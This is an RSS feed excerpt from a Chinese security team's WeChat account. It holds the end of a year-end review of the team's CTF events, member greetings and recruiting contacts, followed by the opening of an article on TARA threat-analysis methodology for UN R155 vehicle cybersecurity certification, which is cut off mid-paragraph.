flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">WMCTF 2025</span></b></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span leaf="">成功举办WMCTF 2025，本场赛事由W&amp;M战队主办。赛事共吸引来自全球的30个国家和地区，近千支队伍参赛，近一千六百人参与此次赛事。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span leaf="">同时也恭喜 Nu1L 两连冠，也欢迎在2026年继续参与我们的比赛。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span leaf="">W&amp;M战队秉承着打造好玩又贴近实战的CTF，让每个选手在WMCTF找到家的感觉，将队员发现的好知识点分享给大家，让大家能在做题中收获新知识的理念出发。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">今年难度稳中有进，截止比赛结束，仍有6道赛题未被解出，有9道题只有一血</span><span style="background-color: rgba(254, 255, 255, 0);box-sizing: border-box;"><span leaf="">。</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span leaf="">……</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">VNCTF 2025</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span leaf="">VNCTF 2025 在今年二月成功举办，吸引了全国千余名师傅参赛。赛题涵盖多个安全领域，兼具深度与趣味，充分激发了选手的实战能力与创新思维。感谢所有参与者与工作人员的付出，让本次赛事成为一场精彩的技术交流盛宴。我们期待在 VNCTF2026 与更多安全爱好者相遇，共同成长，迎接新的挑战！</span></p></div></div></div></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: -15px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 65%;vertical-align: middle;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;margin: -50px 0px 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 180px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.25555555555555554" data-s="300,640" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ce3baba&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicuNibUI8IGnm3tTsq2njfOQbWnSfc17av7f4gcqT3zesLelpiappbXTic8g%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="margin: -50px 0px -175px;line-height: 0;opacity: 0.4;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 280px;height: auto;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="0.7920353982300885" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-w="904" src="https://wechat2rss.xlab.app/img-proxy/?k=4e5098dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyhDI1AG2pF50b676ONo78hRAQiafQmibEo5HsTXPE5YOQzkfIT5libG4aw%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://mmecoa.qpic.cn/mmecoa_png/ugnYPLVSd8tELjCUsszdsNoQp3eRvXicuRB7zpJtpzdHPaKiaIqQW4R4g3ICery1tNTnRJc0IOaaBqMKKmNwtqiaA/640?wx_fmt=png&#34;);background-size: 100% 100% !important;background-position: 50% 50% !important;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: center;font-size: 36px;font-family: PingFangSC-light;letter-spacing: 2px;color: rgb(230, 84, 16);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Chapter </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">03</span></span></strong></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat-x;background-attachment: scroll;min-width: 5%;max-width: 100%;height: auto;padding: 15px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/DwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyIf0pgvJvlubMXM4z8BxbwdFfQhntHwZ4LlsELB2jhX891wYUy9aSsw/640?wx_fmt=gif&#34;);background-size: auto 100% !important;background-position: 0% 0% !important;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 28px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.9917355371900827" data-s="300,640" data-w="121" src="https://wechat2rss.xlab.app/img-proxy/?k=fd3c8e84&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2FugnYPLVSd8tELjCUsszdsNoQp3eRvXicu50QSyiaxfDEIvG2tKHQATKLPEDjULiaQCQvjhbJIibtQNgnich5ialwUVyw%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 20px;color: rgb(255, 255, 255);letter-spacing: 2px;font-family: PingFangSC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">总结寄语</span></b></p></div></div></div></div></div></div></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: 20px 0px 0px;transform: translate3d(-15px, 0px, 0px);-webkit-transform: translate3d(-15px, 0px, 0px);-moz-transform: translate3d(-15px, 0px, 0px);-o-transform: translate3d(-15px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: 86%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow: hidden;height: auto;border-style: solid;border-width: 1px;border-color: rgb(129, 88, 44);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Dawn_whisper</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">祝大家在新的一年里生活事事如意，0day生生不息！辞暮尔尔，烟火年年，朝朝暮暮，岁岁平安！</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);-webkit-transform: translate3d(10px, 0px, 0px);-moz-transform: translate3d(10px, 0px, 0px);-o-transform: translate3d(10px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: dashed;border-width: 1px 0px;border-top-color: rgb(2, 2, 2);border-bottom-color: rgb(2, 2, 2);min-width: 5%;max-width: 100%;height: auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 19px;color: rgb(217, 87, 78);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Can</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;height: auto;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;font-family: PingFangSC-light;letter-spacing: 2px;font-size: 14px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">祝各位师傅新年事事皆顺意，时时尽开心，在历遍人间山河之后，仍觉得人间可爱，未来可期。</span></p></div></div></div></div></div></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: 10px 0px 0px;transform: translate3d(-15px, 0px, 0px);-webkit-transform: translate3d(-15px, 0px, 0px);-moz-transform: translate3d(-15px, 0px, 0px);-o-transform: translate3d(-15px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: 86%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(129, 88, 44);padding: 20px;height: auto;background-color: rgba(0, 0, 0, 0.65);box-sizing: border-box;"><div style="text-align: justify;color: rgb(236, 218, 185);font-family: PingFangSC-light;letter-spacing: 2px;box-sizing: border-box;"><p style="text-indent: 0px;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">满秋的碎碎念:</span></p><p style="text-indent: 2.25em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">建队初期，我们就希望队伍能无限传承下去，避免工作或生活原因导致的精力不足。同时新时代的亲人更有新时代的想法，</span><span leaf="">我们相信在每个人的手中都能打造出一个不同的W&amp;M。</span><span leaf="">2025年初正式将接力棒传递到了</span><span leaf="">Dawn_whisper手中。非常感谢他这一年的付出和努力。</span></p><p style="text-indent: 2.25em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">值得一提的是，今年参与的所有CTF比赛均为新入队的同学，靠着之间的默契和能力，也打出了不错的成绩。</span><span leaf="">他们成为了队伍中的中流砥柱。</span></p><p style="text-indent: 2.25em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">积极迎接变化，才是永恒的方向，很荣幸看着团队中的大家逐渐成长，也希望各位在攻克不同目标时，能领悟真谛，飞升得道。</span></p><p style="text-indent: 2.25em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">对于新年，总有一种说不出的欢悦、欣喜和久久的期待。万象更新，这新的一年，期待能够完成所有的心愿，拥有更大的进步。</span></p><p style="text-indent: 2.25em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">我</span><span leaf="">谨</span><span leaf="">代表白帽一百全体也祝愿大家工作顺利，身体安康。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 12px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 42px;height: auto;box-sizing: border-box;" nodeleaf=""><img style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.6437768240343348" data-s="300,640" data-w="233" src="https://wechat2rss.xlab.app/img-proxy/?k=0f40fe16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FDwbFY9OLZUv0MGXYAHGYw8I63ulicEgPyHU49CQjXfuAbjrNAwAS01zyNicsxV96YT6SdzIIZIP01LdDXlppQSPA%2F640%3Fwx_fmt%3Dgif"/></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;background-color: rgba(255, 255, 255, 0);padding: 20px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;font-size: 28px;color: rgb(255, 255, 255);letter-spacing: 2px;line-height: 1.8;font-family: PingFangSC-light;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">招人招人</span></strong></p></div><div style="text-align: center;font-size: 14px;color: rgb(255, 255, 255);letter-spacing: 2px;line-height: 1.8;font-family: PingFangSC-light;box-sizing: border-box;"><p style="text-align: left;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">白帽一百下属各个小组招人，简历请投递至邮箱：hr@whitecap100.org</span></p><p style="text-align: left;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">或私聊白帽一百团队任一成员均可</span></p><p style="text-align: left;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">PS：CTF小组需要发送简历到ctf@wm-team.cn或联系任何一个W&amp;M的队员。也欢迎刚入门的师傅加入子队V&amp;N与大家共同进步。</span></p></div></div></div></div></div></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7d4b0f29&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515441%26idx%3D1%26sn%3Df8bdacb6ccdd84259aecdb58e88736e3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 31 Dec 2025 13:05:00 +0800</pubDate>
    </item>
    <item>
      <title>UN R155认证视角下的TARA实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515406&amp;idx=1&amp;sn=d8b96ea9de99599973664714780ded80</link>
      <description>在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考</description>
      <content:encoded><![CDATA[<p>原创 <span>novy</span> <span>2025-12-29 19:08</span> <span style="display: inline-block;">浙江</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c39b8b91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzBibwibMmqwq2eDpAZ042NA5CUuIPPPXEbcewSZ6r7Epcnqic2Zcz5365w%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考</p>
  <h1 style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="" style="box-sizing: border-box;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在方法论开始之前，请先允许我介绍一下TARA和TARA的作用</span></h1><h1 style="box-sizing: border-box;margin-top: 0px !important;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;margin-right: 0px;margin-left: 0px;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">TARA是什么</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目</span><span leaf="" style="box-sizing: border-box;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">前（截</span><span leaf="">至编写文章时间-2025年底）R155法规已被包括欧盟所有成员国、日本、韩国、英国、澳大利亚、南非等在内等超过60多个国家采纳，对OEM而言，自2022年7月起，欧盟成员国内对所有现有架构新车型进行强制实施R155，所有适用的新车型出口欧洲均需通过Vehicle Type Approval（车辆型式认证，简称VTA），自2024年7月开始所有架构所有车型都需通过认证</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">OEM要有效执行UN R155的合规要求，首先需要建立全面的网络安全管理体系，即Cybersecurity Management System (CSMS)，以确保汽车全生命周期中都有对应的流程措施用以控制相关风险，在这诸多要求中，威胁分析与风险评估（Threat Analysis and Risk Assessment，简称TARA）是贯穿始终的核心方法，要求从攻击者视角系统识别威胁场景、评估风险水平，并制定针对性的缓解措施，基于多年参与VTA认证项目的实践经验，在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考</span></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">TARA在UN R155中的定位和要求</span></strong></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">UN R155法规的核心目标是要求OEM建立并运行有效的网络安全管理体系（CSMS），以确保车辆在全生命周期内抵御网络攻击风险，作为CSMS的关键组成部分，威胁分析与风险评估（TARA） 被视为实现这一目标的最基础工具，虽然法规正文没有直接使用“TARA”这个术语，但其对风险识别、评估和管理的要求（第7条及Annex 5）本质上指向了TARA方法，TARA在UN R155中的定位和要求主要体现在以下几个方面：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">风险识别和评估的核心手段</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">法规7.3.3至7.3.6要求OEM系统识别车辆网络安全风险、评估风险水平并确定、验证缓解措施，TARA正是满足这些要求的具体方法，其要求OEM从攻击者视角分析潜在威胁，并覆盖车辆所有相关组件（包括供应链零部件），Annex 5提供的67个典型威胁场景作为参考基准，OEM需要证明已评估这些场景（如果不适用，说明不适用理由）</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">贯穿车辆全生命周期</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 